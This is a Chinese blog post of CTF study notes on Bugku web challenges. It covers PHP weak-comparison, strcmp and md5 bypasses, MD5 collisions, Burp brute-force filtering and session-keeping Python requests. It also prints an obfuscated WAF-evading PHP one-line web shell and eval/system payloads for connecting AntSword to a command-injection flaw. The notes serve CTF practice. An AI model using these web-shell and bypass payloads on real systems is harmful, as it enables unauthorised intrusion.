CTF笔记

2k 词

Intro

看来考研是凶多吉少了,虽然很痛苦,但也没办法。

一念之间,就错了这么多莫名其妙的简单题目,真吐血了。

时间是没办法停止的,只能继续往下走了。

Bugku

各种Web思路

  • GitHack:把/.git用wget -r递归下载下来,再在本地用git showgit reflog查看提交日志

  • Burp抓包看不同发包返回的变化

  • 直接找请求头多余的参数

  • PHP超全局变量,$GLOBALS是一个包含所有变量的数组

  • 绕过本地IP检测:在请求头加X-Forwarded-For:127.0.0.1

  • 打开页面是一个游戏,看js源码发现用xmlhttp.get实现发起请求:

    •   xmlhttp.onreadystatechange=function()
        {
            if (xmlhttp.readyState==4 && xmlhttp.status==200)
            {
                document.getElementById("livesearch").innerHTML=xmlhttp.responseText;
                document.getElementById("livesearch").style.border="1px solid #A5ACB2";
            }
        }
        var ppp='182.150.122.47';
        var sign = Base64.encode(score.toString());
        xmlhttp.open("GET","score.php?score="+score+"&ip="+ppp+"&sign="+sign,true);
        xmlhttp.send();
        
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34

      - 构造score和对应的base64,注意可能有空格

      - **同时提交GET和POST**,可以在url里穿get,再设置请求为POST,在请求体里写POST参数

      - `request = requests.Session()`,python发请求时用这个可以**保留sessionID(即维持会话)**,在每次返回都不同的网页保留参数时很重要

      ## 各种绕过

      - php**弱类型比较**绕过:`==`会将字符串转换为数字比较

      - >PHP 的弱比较规则会根据具体的情况进行类型转换,主要包括以下几种:
      >
      >1. **数字和字符串比较**:
      > - 字符串会被尝试转换为数字(如果可能的话)。
      > - 例如,`'123abc' == 123` 会返回 `true`,因为 `'123abc'` 会被转换为数字 `123`。
      >2. **布尔值和其他类型比较**:
      > - `false` 会被转换为 `0`,`true` 会被转换为 `1`。
      > - 例如,`false == 0` 和 `true == 1` 都为 `true`。
      >3. **空值(null)和其他类型比较**:
      > - `null` 会被转换为 `0` 或空字符串 `''`,这取决于比较的类型。
      > - 例如,`null == 0` 和 `null == ''` 都为 `true`。
      >4. **数组与其他类型比较**:
      > - 数组与标量值(如整数、字符串等)进行比较时,总是返回 `false`,即使数组是空的。
      > - 例如,`[] == 0` 返回 `false`。

      - 例如`$num == 1`的比较可以用`1abc`绕过,注意为防止加引号被过滤,最好直接用**1abc**

      - 绕过PHP的**strcmp()**:

      - ```php
      if (!strcmp($v3, $flag)) {
      echo $flag;
      }
    • 此代码校验v3与flag是否相等,相等则echo

    • 绕过用v3为数组即可:v3[]=1111;strcmp无法比较数组。

  • **file_get_contents()**绕过:

    • 使用php://input伪协议绕过
      ① 将要GET的参数?xxx=php://input【这个input伪协议会将请求体直接赋值给文件输出流】
      ② 用post方法传入想要file_get_contents()函数返回的值
    • image-20241225214916290
    • 例如如上就是构造file_get_contents($fn) == $ac
    • data://伪协议绕过
      将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
      或者将url改为:?xxx=data:text/plain,(url编码的内容)

哈希碰撞

校验代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
/*
通过 $_SERVER['REQUEST_URI'] 获取当前请求的 URI(即网页的地址),然后使用 strstr 函数获取 URI 中从 ? 开始的部分。这个部分通常包含 URL 参数。例如,如果 URL 是 example.com/index.php?key=123, strstr 会返回 ?key=123。
*/
$str = substr($str,1);
/*
substr($str, 1) 从 $str 的第二个字符开始截取字符串,去掉了前面的问号 ?。在上面的例子中,$str 会变成 key=123。
*/
$str = str_replace('key','',$str);
parse_str($str);
/*
实现的关键
parse_str 函数会解析 $str 中的查询字符串并将结果存入变量。假设 $str 为 =123,那么会将 key1 赋值为 123,并且如果存在其他类似的参数,会相应地解析并赋值。
*/
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

注意需要绕过key的过滤,双写kekeyy:http://114.67.175.224:10301/index.php?kekeyy1=s878926199a&kekeyy2=s155964671a

具体md5绕过原理

1
2
$_GET['name'] != $_GET['password']
MD5($_GET['name']) == MD5($_GET['password'])

满足上述规则时,可以使用以0E开头的hash值绕过,因为处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同

因为处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同

基本的原理是这样的,但更严谨的字符串格式是,0e 开头,同时后面都是数字,不能包含其他字符的字符串,md5 值才会相等(== 的结果为 True,但 === 的结果为 False)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$a = "s878926199a";
$b = "s155964671a";

print_r($a . "-->" . md5($a) . "<br>");
print_r($b . "-->" . md5($b) . "<br>");
// s878926199a-->0e545993274517709034328855841020
// s155964671a-->0e342768416822451524974117254469

print_r(var_dump(md5($a) == md5($b)) . "<br>"); // bool(true)

// 数字 vs 数字
$a1 = "0e33";
$b1 = "0e89";
print_r(var_dump($a1 == $b1) . "<br>"); // bool(true)

// 数字 vs 字母
$a3 = "0eadd";
$b3 = "0e232";
print_r(var_dump($a3 == $b3) . "<br>"); // bool(false)

// 数字 vs 数字/字母
$a4 = "0ea34343dd";
$b4 = "0e232";
print_r(var_dump($a4 == $b4) . "<br>"); // bool(false)

数组绕过

1
$_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])

当满足上面的条件时,由于PHP中MD5函数的特性,可以使用数组绕过

1
md5([1,2]) == md5([3,4]) == NULL

故只要GET方法传入a[]=1&b[]=2即可绕过

注意:这种绕过同样可以用在sha1()上,即构造参数为数组即可。

MD5碰撞

1
(string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])

使用MD5碰撞生成 工具 得到hash值相同的不同字符串

先建立两个空文件,然后

1
.\fastcoll_v1.0.0.5.exe -i .\a.txt .\b.txt -o c.txt d.txt

生成的c.txt 和 d.txt中的字符串就是hash值相等的字符串

Burp爆破+过滤

当返回结果在登录成果与失败长度不同时,可直接按照length过滤出结果

但均相同时,例如发生重定向使参数再发往另一个页面校验时,则需要过滤结果中特定的参数(例如如果成功就发请求,失败则不发):

1
2
3
4
5
6
7
8
var r = {code: 'bugku10000'}
if(r.code == 'bugku10000'){
console.log('e');
document.getElementById('d').innerHTML = "Wrong account or password!";
}else{
console.log('0');
window.location.href = 'success.php?code='+r.code;
}

当为else中的结果时,必然有r.code != bugku10000,故可过滤这个字符串。

即出现bugku10000时必然爆破失败,用burp的Grep-Match即可

image-20241225170359911

过狗一句话

1
2
3
4
5
6
7
8
$poc = "a#s#s#e#r#t"; //定义变量poc
$poc_1 = explode("#",$poc); //将poc按照"#"分割成数组poc_1

//poc_2是由poc_1的数组元素进行拼接,也就是assert,简而言之,就是poc_2函数是个assert函数
$poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];

//传入一个名为S的参数,作为poc_2de内容,也就等价于是函数assert的内容
$poc_2($_GET['s'])

此时直接用?s=system("ls")传参执行命令即可。

利用命令执行一句话木马连蚁剑

1
2
3
4
5
6
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>

当有如上代码类似的可控参数,且该参数被传入命令执行函数时:

1
2
?hello=eval($_POST['attack'])
# 此时连接木马为“attack”

image-20241225175732215

注意:连接URL必须要有eval参数,因为只有将eval这行命令始终执行才能连接shell

若可上传文件,则无需在url里加参数执行命令。

file()函数读取文件

1
$a = file("flag.php");

可将文件存到一个数组中。

正则表达式

匹配字符串中的一部分:

例如字符串为:Give me value post about 1746343788+1822614677*504148665+2072024330-450765037*810208960-1242073504+201049388+1538795160*765620361-422466013=?

要匹配其中的表达式计算部分:

1
re.search(r"Give me value post about (.*?)=\?", res.text, re.S).group(1)

即将中间和两边加起来分为两个元素,再引用后一个,即group(1)

会话保留的请求

请求每次分配一个随机的会话ID,再次请求如果继续用这个SESSIONID需要用如下这种写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import base64

request = requests.Session()
url = "http://114.67.175.224:10287/"

jie_ma = base64.b64decode(request.get(url).headers['flag']).decode()
print(jie_ma)
data = {'margin':base64.b64decode(jie_ma.split(':')[1]).decode()}
print(data)
f = request.post(url=url, data=data).text

print(f)

注意请求时必须写成这种形式,否则不能携带同一sessionID

留言